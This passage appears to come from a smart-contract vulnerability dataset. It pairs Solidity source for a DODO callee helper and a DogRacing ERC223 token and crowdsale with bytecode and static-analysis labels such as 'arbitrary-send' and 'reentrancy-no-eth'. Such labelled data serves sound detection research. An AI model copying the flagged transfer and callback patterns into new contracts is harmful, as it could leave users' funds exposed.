60008060006060848603121561196f57600080fd5b833561197a81611909565b9250602084013561198a81611909565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c457600080fd5b823567ffffffffffffffff808211156119dc57600080fd5b818501915085601f8301126119f057600080fd5b813581811115611a0257611a0261199b565b8060051b604051601f19603f83011681018181108582111715611a2757611a2761199b565b604052918252848201925083810185019188831115611a4557600080fd5b938501935b82851015611a6a57611a5b8561191e565b84529385019392850192611a4a565b98975050505050505050565b600060208284031215611a8857600080fd5b813561145481611909565b60008060408385031215611aa657600080fd5b8235611ab181611909565b91506020830135611ac181611909565b809150509250929050565b600060208284031215611ade57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5a57611b5a611b30565b5060010190565b60008219821115611b7457611b74611b30565b500190565b600060208284031215611b8b57600080fd5b815161145481611909565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611be65784516001600160a01b031683529383019391830191600101611bc1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c1957611c19611b30565b500390565b6000816000190483118215151615611c3857611c38611b30565b500290565b600082611c5a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200612c4fc6b4e28228ce12d9ae5ef68d707b3b303a1fec148ffab766bf7ee10df64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,158 |
0xb5397b2210f49e96a5eb2c9747aa2bd9397d90c0
|
// File: contracts/SmartRoute/intf/IDODOV2.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/helper/DODOCalleeHelper.sol
contract DODOCalleeHelper is ReentrancyGuard {
using SafeERC20 for IERC20;
address payable public immutable _WETH_;
fallback() external payable {
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH");
}
receive() external payable {
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH");
}
constructor(address payable weth) public {
_WETH_ = weth;
}
function DVMSellShareCall(
address payable assetTo,
uint256,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata
) external preventReentrant {
address _baseToken = IDODOV2(msg.sender)._BASE_TOKEN_();
address _quoteToken = IDODOV2(msg.sender)._QUOTE_TOKEN_();
_withdraw(assetTo, _baseToken, baseAmount, _baseToken == _WETH_);
_withdraw(assetTo, _quoteToken, quoteAmount, _quoteToken == _WETH_);
}
function CPCancelCall(
address payable assetTo,
uint256 amount,
bytes calldata
)external preventReentrant{
address _quoteToken = IDODOV2(msg.sender)._QUOTE_TOKEN_();
_withdraw(assetTo, _quoteToken, amount, _quoteToken == _WETH_);
}
function CPClaimBidCall(
address payable assetTo,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata
) external preventReentrant {
address _baseToken = IDODOV2(msg.sender)._BASE_TOKEN_();
address _quoteToken = IDODOV2(msg.sender)._QUOTE_TOKEN_();
_withdraw(assetTo, _baseToken, baseAmount, _baseToken == _WETH_);
_withdraw(assetTo, _quoteToken, quoteAmount, _quoteToken == _WETH_);
}
function _withdraw(
address payable to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).withdraw(amount);
to.transfer(amount);
}
} else {
if (amount > 0) {
SafeERC20.safeTransfer(IERC20(token), to, amount);
}
}
}
}
|
0x6080604052600436106100435760003560e01c80630d4eec8f146100e35780632411d3381461010e5780636430f1101461012e5780637ceef9161461014e5761009b565b3661009b57336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216146100995760405162461bcd60e51b8152600401610090906109ea565b60405180910390fd5b005b336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216146100995760405162461bcd60e51b8152600401610090906109ea565b3480156100ef57600080fd5b506100f861016e565b60405161010591906109bd565b60405180910390f35b34801561011a57600080fd5b506100996101293660046108f3565b610192565b34801561013a57600080fd5b50610099610149366004610831565b61033c565b34801561015a57600080fd5b5061009961016936600461088b565b61042e565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60005460ff16156101b55760405162461bcd60e51b815260040161009090610a15565b6000805460ff1916600117815560408051632512469560e11b815290513391634a248d2a916004808301926020929190829003018186803b1580156101f957600080fd5b505afa15801561020d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610231919061080e565b90506000336001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b15801561026e57600080fd5b505afa158015610282573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a6919061080e565b90506102e88883887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316866001600160a01b0316146105d7565b6103288882877f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b0316146105d7565b50506000805460ff19169055505050505050565b60005460ff161561035f5760405162461bcd60e51b815260040161009090610a15565b6000805460ff1916600117815560408051636a5cb82360e11b81529051339163d4b97046916004808301926020929190829003018186803b1580156103a357600080fd5b505afa1580156103b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103db919061080e565b905061041d8582867f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b0316146105d7565b50506000805460ff19169055505050565b60005460ff16156104515760405162461bcd60e51b815260040161009090610a15565b6000805460ff1916600117815560408051632512469560e11b815290513391634a248d2a916004808301926020929190829003018186803b15801561049557600080fd5b505afa1580156104a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104cd919061080e565b90506000336001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b15801561050a57600080fd5b505afa15801561051e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610542919061080e565b90506105848783887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316866001600160a01b0316146105d7565b6105c48782877f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b0316146105d7565b50506000805460ff191690555050505050565b801561069e57811561069957604051632e1a7d4d60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21690632e1a7d4d9061062f908590600401610ab7565b600060405180830381600087803b15801561064957600080fd5b505af115801561065d573d6000803e3d6000fd5b50506040516001600160a01b038716925084156108fc02915084906000818181858888f19350505050158015610697573d6000803e3d6000fd5b505b6106af565b81156106af576106af8385846106b5565b50505050565b61070b8363a9059cbb60e01b84846040516024016106d49291906109d1565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610710565b505050565b60006060836001600160a01b03168360405161072c9190610984565b6000604051808303816000865af19150503d8060008114610769576040519150601f19603f3d011682016040523d82523d6000602084013e61076e565b606091505b5091509150816107905760405162461bcd60e51b815260040161009090610a38565b8051156106af57808060200190518101906107ab9190610964565b6106af5760405162461bcd60e51b815260040161009090610a6d565b60008083601f8401126107d8578182fd5b50813567ffffffffffffffff8111156107ef578182fd5b60208301915083602082850101111561080757600080fd5b9250929050565b60006020828403121561081f578081fd5b815161082a81610ac0565b9392505050565b60008060008060608587031215610846578283fd5b843561085181610ac0565b935060208501359250604085013567ffffffffffffffff811115610873578283fd5b61087f878288016107c7565b95989497509550505050565b6000806000806000608086880312156108a2578081fd5b85356108ad81610ac0565b94506020860135935060408601359250606086013567ffffffffffffffff8111156108d6578182fd5b6108e2888289016107c7565b969995985093965092949392505050565b60008060008060008060a0878903121561090b578081fd5b863561091681610ac0565b9550602087013594506040870135935060608701359250608087013567ffffffffffffffff811115610946578182fd5b61095289828a016107c7565b979a9699509497509295939492505050565b600060208284031215610975578081fd5b8151801515811461082a578182fd5b60008251815b818110156109a4576020818601810151858301520161098a565b818111156109b25782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6020808252601190820152700ae8abea682ac8a88beb29eaaa4be8aa89607b1b604082015260600190565b60208082526009908201526814915153951490539560ba1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b90815260200190565b6001600160a01b0381168114610ad557600080fd5b5056fea2646970667358221220753ef9c44c08225bcc83f4b31bb4e76a5aa148b0a3a8e77f63c6fd99933f131c64736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,159 |
0xd93a993ad55ba35b9d0e170337cf85ea7b735371
|
pragma solidity ^0.4.19;
// File: contracts/SafeMath.sol
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: contracts/ERC20.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/ERC223.sol
/**
* ERC20-compatible version of ERC223
* https://github.com/Dexaran/ERC223-token-standard/tree/ERC20_compatible
*/
contract ERC223Basic is StandardToken {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/**
* Contract that is working with ERC223 tokens
*/
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* ERC20-compatible version of ERC223
* https://github.com/Dexaran/ERC223-token-standard/tree/ERC20_compatible
*/
contract ERC223BasicToken is ERC223Basic {
using SafeMath for uint;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address to, uint value, bytes data) onlyPayloadSize(2 * 32) public {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(to)
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if(codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, data);
}
Transfer(msg.sender, to, value); // ERC20 transfer event
Transfer(msg.sender, to, value, data); // ERC223 transfer event
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address to, uint256 value) onlyPayloadSize(2 * 32) public returns (bool) {
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(to)
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if(codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
bytes memory empty;
receiver.tokenFallback(msg.sender, value, empty);
}
Transfer(msg.sender, to, value); // ERC20 transfer event
return true;
}
}
// File: contracts/DogRacingToken.sol
/**
* DogRacing Token
*/
contract DogRacingToken is ERC223BasicToken {
using SafeMath for uint256;
string constant public name = "Dog Racing";
string constant public symbol = "DGR";
uint8 constant public decimals = 3;
uint256 constant public totalSupply = 326250000 * 1000; // Supply is in the smallest units
address public owner; // owner address
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function DogRacingToken() public {
owner = msg.sender;
balances[owner] = totalSupply; // All tokens are assigned to the owner
}
// Owner may burn own tokens
function burnTokens(uint256 amount) onlyOwner external {
balances[owner] = balances[owner].sub(amount);
}
}
// File: contracts/DogRacingCrowdsale.sol
/**
* DogRacing Crowdsale
*/
contract DogRacingCrowdsale {
using SafeMath for uint256;
DogRacingToken public token; // Token contract address
uint256 public stage1_start; // Crowdsale timing
uint256 public stage2_start;
uint256 public stage3_start;
uint256 public stage4_start;
uint256 public crowdsale_end;
uint256 public stage1_price; // Prices in token millis / ETH
uint256 public stage2_price;
uint256 public stage3_price;
uint256 public stage4_price;
uint256 public hard_cap_wei; // Crowdsale hard cap in wei
address public owner; // Owner address
uint256 public wei_raised; // Total Wei raised by crowdsale
event TokenPurchase(address buyer, uint256 weiAmount, uint256 tokensAmount);
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier withinCrowdsaleTime {
require(now >= stage1_start && now < crowdsale_end);
_;
}
modifier afterCrowdsale {
require(now >= crowdsale_end);
_;
}
modifier withinCap {
require(wei_raised < hard_cap_wei);
_;
}
// Constructor
function DogRacingCrowdsale(DogRacingToken _token,
uint256 _stage1_start, uint256 _stage2_start, uint256 _stage3_start, uint256 _stage4_start, uint256 _crowdsale_end,
uint256 _stage1_price, uint256 _stage2_price, uint256 _stage3_price, uint256 _stage4_price,
uint256 _hard_cap_wei) public {
require(_stage1_start > now);
require(_stage2_start > _stage1_start);
require(_stage3_start > _stage2_start);
require(_stage4_start > _stage3_start);
require(_crowdsale_end > _stage4_start);
require(_stage1_price > 0);
require(_stage2_price < _stage1_price);
require(_stage3_price < _stage2_price);
require(_stage4_price < _stage3_price);
require(_hard_cap_wei > 0);
require(_token != address(0));
owner = msg.sender;
token = _token;
stage1_start = _stage1_start;
stage2_start = _stage2_start;
stage3_start = _stage3_start;
stage4_start = _stage4_start;
crowdsale_end = _crowdsale_end;
stage1_price = _stage1_price;
stage2_price = _stage2_price;
stage3_price = _stage3_price;
stage4_price = _stage4_price;
hard_cap_wei = _hard_cap_wei;
}
// get current price in token millis / ETH
function getCurrentPrice() public view withinCrowdsaleTime returns (uint256) {
if (now < stage2_start) {
return stage1_price;
} else if (now < stage3_start) {
return stage2_price;
} else if (now < stage4_start) {
return stage3_price;
} else {
return stage4_price;
}
}
// get amount in token millis for amount in wei
function getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
uint256 price = getCurrentPrice();
return weiAmount.mul(price).div(1 ether);
}
// fallback function
function () external payable {
buyTokens(msg.sender);
}
// tokens fallback function
function tokenFallback(address, uint256, bytes) external pure {
}
// tokens purchase
function buyTokens(address beneficiary) public withinCrowdsaleTime withinCap payable {
uint256 wei_amount = msg.value;
require(beneficiary != address(0));
require(wei_amount != 0);
// calculate token amount to be sold
uint256 tokens = getTokenAmount(wei_amount);
// update state
wei_raised = wei_raised.add(wei_amount);
require(wei_raised <= hard_cap_wei);
// deliver tokens
token.transfer(beneficiary, tokens);
TokenPurchase(beneficiary, wei_amount, tokens);
// deliver ether
owner.transfer(msg.value);
}
// Remaining tokens withdrawal
function withdrawTokens() external onlyOwner afterCrowdsale {
uint256 tokens_remaining = token.balanceOf(address(this));
token.transfer(owner, tokens_remaining);
}
}
|
0x6060604052600436106100d75763ffffffff60e060020a60003504166301c516b181146100e257806316bdb7b614610107578063302039941461011a57806332611e2b1461012d5780633aedf90a146101405780633c37a88b1461015357806341ef3879146101665780634948c2db146101795780638173e3631461018c5780638d8f2adb1461019f5780638da5cb5b146101b2578063b2e94e78146101e1578063c0ee0b8a146101f4578063e17a7c7014610223578063eb91d37e14610236578063ec8ac4d814610249578063fc0c546a1461025d575b6100e033610270565b005b34156100ed57600080fd5b6100f5610408565b60405190815260200160405180910390f35b341561011257600080fd5b6100f561040e565b341561012557600080fd5b6100f5610414565b341561013857600080fd5b6100f561041a565b341561014b57600080fd5b6100f5610420565b341561015e57600080fd5b6100f5610426565b341561017157600080fd5b6100f561042c565b341561018457600080fd5b6100f5610432565b341561019757600080fd5b6100f5610438565b34156101aa57600080fd5b6100e061043e565b34156101bd57600080fd5b6101c5610568565b604051600160a060020a03909116815260200160405180910390f35b34156101ec57600080fd5b6100f5610577565b34156101ff57600080fd5b6100e060048035600160a060020a031690602480359160443591820191013561057d565b341561022e57600080fd5b6100f5610583565b341561024157600080fd5b6100f5610589565b6100e0600160a060020a0360043516610270565b341561026857600080fd5b6101c56105ea565b6000806001544210158015610286575060055442105b151561029157600080fd5b600a54600c54106102a157600080fd5b349150600160a060020a03831615156102b957600080fd5b8115156102c557600080fd5b6102ce826105f9565b600c549091506102e4908363ffffffff61063516565b600c819055600a549011156102f857600080fd5b60008054600160a060020a03169063a9059cbb90859084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561035a57600080fd5b6102c65a03f1151561036b57600080fd5b50505060405180519050507fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383836040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a1600b54600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561040357600080fd5b505050565b60055481565b60085481565b60075481565b60025481565b600c5481565b60045481565b60065481565b60095481565b600a5481565b600b5460009033600160a060020a0390811691161461045c57600080fd5b60055442101561046b57600080fd5b60008054600160a060020a0316906370a082319030906040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156104c657600080fd5b6102c65a03f115156104d757600080fd5b505050604051805160008054600b54929450600160a060020a03908116935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561054a57600080fd5b6102c65a03f1151561055b57600080fd5b5050506040518051505050565b600b54600160a060020a031681565b60015481565b50505050565b60035481565b6000600154421015801561059e575060055442105b15156105a957600080fd5b6002544210156105bc57506006546105e7565b6003544210156105cf57506007546105e7565b6004544210156105e257506008546105e7565b506009545b90565b600054600160a060020a031681565b600080610604610589565b905061062e670de0b6b3a7640000610622858463ffffffff61064416565b9063ffffffff61066816565b9392505050565b60008282018381101561062e57fe5b6000828202831580610660575082848281151561065d57fe5b04145b1